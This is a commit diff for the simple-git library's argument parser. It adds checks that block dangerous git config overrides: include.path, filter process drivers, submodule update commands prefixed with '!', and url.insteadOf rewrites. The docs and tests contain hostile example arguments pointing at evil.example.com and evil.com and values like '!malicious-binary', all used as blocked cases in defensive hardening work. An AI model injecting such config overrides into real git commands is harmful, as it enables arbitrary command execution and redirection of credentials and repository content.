Argument parser vulnerability checks (#1167)

* feat(security): add include.path, filter.process, submodule.update, url.insteadOf checks

New vulnerability categories:
- allowUnsafeInclude: blocks include.path (arbitrary config file inclusion)
- allowUnsafeSubmodule: blocks submodule.<name>.update (! prefix enables shell execution)
- allowUnsafeUrlRewrite: blocks url.<base>.insteadOf (silent URL redirection)

Extends existing categories:
- allowUnsafeFilter: now also blocks filter.<driver>.process alongside clean/smudge

All new checks covered by tests; PLUGIN-UNSAFE-ACTIONS.md updated with examples
for each new category and the filter section updated to mention process.

Author: steveukx

.changeset/cyan-suits-sleep.md

@@ -0,0 +1,7 @@
+---
+"@simple-git/argv-parser": patch
+---
+
+Additional argument parser vulnerability checks:
+- Thanks to @mrillicit for identifying `include.path`, `filter.*.process`
+- Thanks to @tejas619 for identifying `url.*.insteadOf` 

docs/PLUGIN-UNSAFE-ACTIONS.md

@@ -317,9 +317,10 @@ await simpleGit({ unsafe: { allowUnsafeDiffTextConv: true } })
 
 ### Filter operations
 
-The `filter.<driver>.clean` and `filter.<driver>.smudge` configuration values define binaries that transform
-file content when checking out (`smudge`) and staging (`clean`). Controlling either value allows an attacker
-to read or modify every file that passes through the filter.
+The `filter.<driver>.clean`, `filter.<driver>.smudge`, and `filter.<driver>.process` configuration values
+define binaries that transform file content when staging (`clean`), checking out (`smudge`), or via a
+persistent long-running process (`process`). Controlling any of these values allows an attacker to read or
+modify every file that passes through the filter.
 
 ```typescript
 import { simpleGit } from 'simple-git';
@@ -332,6 +333,10 @@ await simpleGit()
 await simpleGit()
    .raw('-c', 'filter.lfs.smudge=malicious-binary', 'checkout', 'main');
 
+// throws — long-running process filter
+await simpleGit()
+   .raw('-c', 'filter.lfs.process=malicious-binary', 'checkout', 'main');
+
 // opt in to using custom filter binaries
 await simpleGit({ unsafe: { allowUnsafeFilter: true } })
    .raw('-c', 'filter.lfs.clean=git-lfs clean -- %f', '-c', 'filter.lfs.smudge=git-lfs smudge -- %f', 'checkout', 'main');
@@ -450,3 +455,59 @@ await simpleGit({ unsafe: { allowUnsafeConfigEnvCount: true } })
    })
    .commit('CI build commit');
 ```
+
+### Config file inclusion
+
+The `include.path` configuration directive instructs `git` to load an additional configuration file and
+treat its contents as part of the current configuration. An attacker-controlled path can direct `git` to
+load a malicious config that overrides any setting, including those that enable further command-execution
+vectors such as `core.hooksPath` or `core.sshCommand`.
+
+```typescript
+import { simpleGit } from 'simple-git';
+
+// throws
+await simpleGit()
+   .raw('-c', 'include.path=/attacker/controlled/config', 'status');
+
+// opt in to loading external config files
+await simpleGit({ unsafe: { allowUnsafeInclude: true } })
+   .raw('-c', 'include.path=/shared/team.gitconfig', 'status');
+```
+
+### Submodule update strategy
+
+The `submodule.<name>.update` configuration controls how `git submodule update` refreshes each submodule.
+When the value is prefixed with `!`, git treats the remainder as a shell command and executes it directly,
+providing an arbitrary code-execution path that triggers on every submodule update.
+
+```typescript
+import { simpleGit } from 'simple-git';
+
+// throws — shell command as update strategy
+await simpleGit()
+   .raw('-c', 'submodule.evil.update=!malicious-binary', 'submodule', 'update');
+
+// opt in to using a custom submodule update strategy
+await simpleGit({ unsafe: { allowUnsafeSubmodule: true } })
+   .raw('-c', 'submodule.vendor.update=!custom-update-script', 'submodule', 'update');
+```
+
+### URL rewriting
+
+The `url.<base>.insteadOf` configuration silently rewrites any URL that begins with the given base before
+`git` makes a network connection. An attacker-controlled rewrite rule can redirect operations to an
+arbitrary host, intercepting credentials sent over the original transport or substituting malicious
+repository content.
+
+```typescript
+import { simpleGit } from 'simple-git';
+
+// throws — redirects github.com traffic to an attacker host
+await simpleGit()
+   .raw('-c', 'url.https://evil.example.com.insteadOf=https://github.com', 'clone', 'https://github.com/org/repo');
+
+// opt in to using URL rewriting
+await simpleGit({ unsafe: { allowUnsafeUrlRewrite: true } })
+   .raw('-c', 'url.git://internal.mirror.insteadOf=https://github.com', 'clone', 'https://github.com/org/repo');
+```

packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts

@@ -51,8 +51,10 @@ const preventUnsafeConfig = [
    preventExpandedConfigBuilder('difftool.cmd', 'allowUnsafeDiffExternal'),
    preventExpandedConfigBuilder('diff.textconv', 'allowUnsafeDiffTextConv'),
    preventExpandedConfigBuilder('filter.clean', 'allowUnsafeFilter'),
+   preventExpandedConfigBuilder('filter.process', 'allowUnsafeFilter'),
    preventExpandedConfigBuilder('filter.smudge', 'allowUnsafeFilter'),
    preventExpandedConfigBuilder('gpg.program', 'allowUnsafeGpgProgram'),
+   preventConfigBuilder('include.path', 'allowUnsafeInclude'),
    preventConfigBuilder('init.templateDir', 'allowUnsafeTemplateDir'),
    preventExpandedConfigBuilder('pager.', 'allowUnsafePager'),
    preventExpandedConfigBuilder('merge.driver', 'allowUnsafeMergeDriver'),
@@ -63,4 +65,6 @@ const preventUnsafeConfig = [
    preventExpandedConfigBuilder('remote.uploadpack', 'allowUnsafePack'),
    preventConfigBuilder('uploadpack.packObjectsHook', 'allowUnsafePack'),
    preventConfigBuilder('sequence.editor', 'allowUnsafeEditor'),
+   preventExpandedConfigBuilder('submodule.update', 'allowUnsafeSubmodule'),
+   preventExpandedConfigBuilder('url.insteadOf', 'allowUnsafeUrlRewrite'),
 ];

packages/argv-parser/src/vulnerabilities/vulnerability.types.ts

@@ -121,4 +121,25 @@ export interface VulnerabilityCategoryFlags {
     * Allows overriding template directory either by environment variable or configuration in simple-git tasks
     */
    allowUnsafeTemplateDir: boolean;
+
+   /**
+    * Allows using `include.path` to load an external git configuration file in simple-git tasks.
+    * An attacker-controlled path could direct git to load a malicious configuration, overriding any
+    * setting — including those that enable further command-execution vectors.
+    */
+   allowUnsafeInclude: boolean;
+
+   /**
+    * Allows setting `submodule.<name>.update` in simple-git tasks. When the update strategy begins
+    * with `!`, git executes the remainder as a shell command on every `git submodule update`
+    * invocation, providing an arbitrary code-execution path.
+    */
+   allowUnsafeSubmodule: boolean;
+
+   /**
+    * Allows using `url.<base>.insteadOf` configuration in simple-git tasks. URL rewriting can
+    * silently redirect git operations to attacker-controlled hosts, potentially intercepting
+    * credentials or substituting malicious repository content.
+    */
+   allowUnsafeUrlRewrite: boolean;
 }

packages/argv-parser/test/vulnerability-analysis.spec.ts

@@ -70,10 +70,12 @@ describe('VulnerabilityAnalysis', () => {
       ['diff.driver.textconv', 'malicious', 'allowUnsafeDiffTextConv'],
       ['filter.clean', 'malicious', 'allowUnsafeFilter'],
       ['filter.driver.clean', 'malicious', 'allowUnsafeFilter'],
+      ['filter.lfs.process', 'malicious', 'allowUnsafeFilter'],
       ['filter.smudge', 'malicious', 'allowUnsafeFilter'],
       ['filter.driver.smudge', 'malicious', 'allowUnsafeFilter'],
       ['gpg.program', 'malicious', 'allowUnsafeGpgProgram'],
       ['gpg.type.program', 'malicious', 'allowUnsafeGpgProgram'],
+      ['include.path', '/tmp/evil.gitconfig', 'allowUnsafeInclude'],
       ['init.templateDir', '/tmp/evil', 'allowUnsafeTemplateDir'],
       ['pager.log', 'malicious', 'allowUnsafePager'],
       ['pager.log.color', 'malicious', 'allowUnsafePager'],
@@ -89,6 +91,9 @@ describe('VulnerabilityAnalysis', () => {
       ['remote.https://example.com.uploadpack', 'malicious', 'allowUnsafePack'],
       ['uploadpack.packObjectsHook', 'malicious', 'allowUnsafePack'],
       ['sequence.editor', 'malicious', 'allowUnsafeEditor'],
+      ['submodule.evil.update', '!malicious', 'allowUnsafeSubmodule'],
+      ['url.https://evil.com.insteadOf', 'https://github.com', 'allowUnsafeUrlRewrite'],
+      ['url.https://evil.com.insteadOf', 'git@github.com:', 'allowUnsafeUrlRewrite'],
    ])('writing %s = %s to the git config', (key, value, category) => {
       const expected = category ? oneVulnerability(category) : noVulnerabilities();